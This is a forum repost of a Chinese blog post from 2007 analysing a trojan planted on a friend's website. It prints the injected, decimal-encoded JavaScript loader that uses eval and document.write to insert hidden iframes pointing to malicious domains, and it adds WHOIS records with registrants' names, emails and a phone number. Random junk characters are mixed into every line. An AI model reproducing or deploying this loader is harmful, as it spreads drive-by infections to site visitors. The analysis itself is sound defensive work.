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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, T8g$uFo  
%u'u kcL7  
http://www.areway.cn/?p=175 6&x@.1('z  
7:1Lol-V  
QWYJ *  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: m_]Y{3C  
          :F?C)F  
<script>t=’60,105,102,114,97,109,101, 4B.*g-L   
32,115,114,99,61,104,116,116,112,58,47,47, vs4>T^8e  
102,114,101,101,46,117,45,117,117,117,46,99, '=pU^Oz<}  
110,47,101,114,114,111,114,46,104,116,109, 3w'tH4C[Y  
32,119,105,100,116,104,61,49,48,48,32,104, Nf\LN$ &8  
101,105,103,104,116,61,48,62,60,47,105,102, o+'6`g'8  
114,97,109,101,62′; 0l6.<-f{  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> (<9u-HF#  
                                                                                                  ]=BB#  
<script>t=’60,105,102,114,97,109,101,32,115, [W&T(%(W-  
114,99,61,104,116,116,112,58,47,47,102,114, S9.o/mr  
101,101,46,117,45,117,117,117,46,99,110,47, 77Dn97l)&  
101,114,114,111,114,46,104,116,109,32,119, 7@Qcc t4A  
105,100,116,104,61,49,48,48,32,104,101,105, ZECfR>`x  
103,104,116,61,48,62,60,47,105,102,114,97, e^voW"?%  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); <5051U Eu  
document.write(t);</script> 2+XA X:YD  
                                                                                                  })%{AfDRF  
<html xmlns=” h_'*XWd@  
http://www.w3.org/1999/xhtml AwR =]W;j  
“> &D<yX~  
<head> y9ZvV0  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> !a\^Sk /  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 75lA%| *X  
<title>首页 - 爱生活家庭网 N!}f}oF  
                                                                                                                                                    %N._w!N<5n  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 6gDN`e,@  
转换字符串后的大概内容是(谁点击后果自付): L4W5EO$  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… R|(a@sL  
                                                                                                                                  tw@X> G1z  
查询玉米u-uuu.cn的详细信息: PJ#,2=n~  
Domain Name: u-uuu.cn ~n_HP_Kf?  
ROID: 20070901s10001s64972306-cn He@KV=  
Domain Status: ok '&b+R`g'  
Registrant Organization: 王雷 jH:[2N?  
Registrant Name: 王雷 f o3}W^0  
Administrative Email: czlovexs@126.com ;uGv:$([g  
Sponsoring Registrar: 北京万网志成科技有限公司 :3 mh@[V  
Name Server:ns.yovole.com +}AI@+  
Name Server:ns1.yovole.com pb,d'z\S  
Registration Date: 2007-09-01 17:54 ;^L(^Hx  
Expiration Date: 2008-09-01 17:54 -~w'Xo#  
最后PING了一下地址 都没有什么…. $??I/6  
                                                                                                HoAy_7-5  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 2=}FBA,2  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> [-w%/D%@  
<script language=”javascript” src=” y~V(aih}D  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script *-X[u:  
> %BODkc Zh  
这个玉米应该有可能是木马作者的: PA*5Bk="q  
foafau.info的详细信息: "[N!m1i:{  
Access to INFO WHOIS information is provided to assist persons in ;tf=gdX;  
determining the contents of a domain name registration record in the DY*N|OnqJ  
Afilias registry database. The data in this record is provided by EU#^7  
Afilias Limited for informational purposes only, and Afilias does not %C]>9."  
guarantee its accuracy.  This service is intended only for query-based !G|@6W`  
access. You agree that you will use this data only for lawful purposes dO\"?aiD  
and that, under no circumstances will you use this data to: (a) allow, l[J8!u2Xp  
enable, or otherwise support the transmission by e-mail, telephone, or P+}h$ _x  
facsimile of mass unsolicited, commercial advertising or solicitations j~MI<I+l[  
to entities other than the data recipient’s own existing customers; or WIGi51yC.x  
(b) enable high volume, automated, electronic processes that send r JB}qYD  
queries or data to the systems of Registry Operator, a Registrar, or Z_NCD`i;  
Afilias except as reasonably necessary to register domain names or =_^X3z0  
modify existing registrations. All rights reserved. Afilias reserves a+QpM*n7Lq  
the right to modify these terms at any time. By submitting this query, Ny# ^&-K  
you agree to abide by this policy. Gc7=  
Domain ID:D22418703-LRMS '3;b@g,  
Domain Name:FOAFAU.INFO q^nVN#  
Created On:20-Nov-2007 16:05:42 UTC W,u:gzmhw  
Last Updated On:20-Nov-2007 16:05:44 UTC wd6owr  
Expiration Date:20-Nov-2008 16:05:42 UTC &^nGtW%a 9  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) vDvFL<`vmD  
Status:CLIENT DELETE PROHIBITED nk:)j:fr  
Status:CLIENT RENEW PROHIBITED hbn([+xY  
Status:CLIENT TRANSFER PROHIBITED |W^IlqTH  
Status:CLIENT UPDATE PROHIBITED X8\GzNE~R  
Status:TRANSFER PROHIBITED <VE@DBWyl~  
Registrant ID:GODA-040110615 dRMx[7jVA  
Registrant Name:liu hong Wp,R ^d  
Registrant Organization: pR_9NfV{  
Registrant Street1:beijing \2z>?i)  
Registrant Street2: 5zJq9\)d+  
Registrant Street3: KPki}'GO  
Registrant City:beijing CC`JZ.SO  
Registrant State/Province: 7EJ+c${e.-  
Registrant Postal Code:100000 Q b%J8juRf  
Registrant Country:CN I^]nqK  
Registrant Phone:+86.860108888777 Vvo 7C!$z  
Registrant Phone Ext.: 6u%&<")4HP  
Registrant FAX: 4M T 7`sr  
Registrant FAX Ext.: |j|rS5  
Registrant Email:bbbshiji@163.com Gw` L"  
Admin ID:GODA-240110615 VEH>]-0K  
Admin Name:liu hong m {}Lm)M  
Admin Organization: 9BB=YnKE  
Admin Street1:beijing HOi`$vX }N  
Admin Street2: P<-@h1p,  
Admin Street3: TA\vZGJ('  
Admin City:beijing k:%%/  
Admin State/Province: q\%I#1  
Admin Postal Code:100000 A%vbhD2;W  
Admin Country:CN {`_i`  
Admin Phone:+86.860108888777 + T+#q@  
Admin Phone Ext.: OTv)  
Admin FAX: \7_y%HR  
Admin FAX Ext.: {RPI]DcO/  
Admin Email:bbbshiji@163.com V[V[~;Py  
Billing ID:GODA-340110615 SrJE_~i  
Billing Name:liu hong QV8g#&z  
Billing Organization: -g<oS9   
Billing Street1:beijing n+p }\msH  
Billing Street2: <ZW-QN4  
Billing Street3: XP}<N&j  
Billing City:beijing ~M$Wd2Th  
Billing State/Province: G/W>S,(  
Billing Postal Code:100000 atzX;@"K  
Billing Country:CN >Gu M]qn  
Billing Phone:+86.860108888777 .Y|!:t|  
Billing Phone Ext.: $Kd>:f=A  
Billing FAX: 7$#u  
Billing FAX Ext.: kf9X$d6   
Billing Email:bbbshiji@163.com ; @X<lCk  
Tech ID:GODA-140110615 Bp{Ri_&A  
Tech Name:liu hong bK7J}8hH  
Tech Organization: &3&HY:yF  
Tech Street1:beijing g{LP7 D;6  
Tech Street2: H*6W q  
Tech Street3: R-14=|7a-  
Tech City:beijing #;S*V"  
Tech State/Province: v^P O|Z  
Tech Postal Code:100000 NlXimq  
Tech Country:CN 1mJ Hued=6  
Tech Phone:+86.860108888777 sRfcF`7  
Tech Phone Ext.: zeRyL3fnmb  
Tech FAX: m+9#5a-  
Tech FAX Ext.: ;a3}~s  
Tech Email:bbbshiji@163.com |a@L}m  
Name Server:NS27.DOMAINCONTROL.COM hGrdtsH?  
Name Server:NS28.DOMAINCONTROL.COM Zd&S@Z  
Name Server: ('~LMu_  
Name Server: @nf`Gw ;  
Name Server: |uDdHX8T  
Name Server: `u\n0=go  
Name Server: M%#e1"n  
Name Server: 2qp#N%  
Name Server: P2Y^d#jO  
Name Server: !9x}  
Name Server: R-Sym8c  
Name Server: TZ`SZDc7_  
Name Server: 6:2vP NF  
                                                                                                          rlD8D|ZG  
接着下载每个文件里面的代码: V8(-  
一步一步看.. pot~<d`:K"  
ce(#2o&`  
Ca\6vR  
,?3G;-  
E"0>yl)  
>d6|^h'0  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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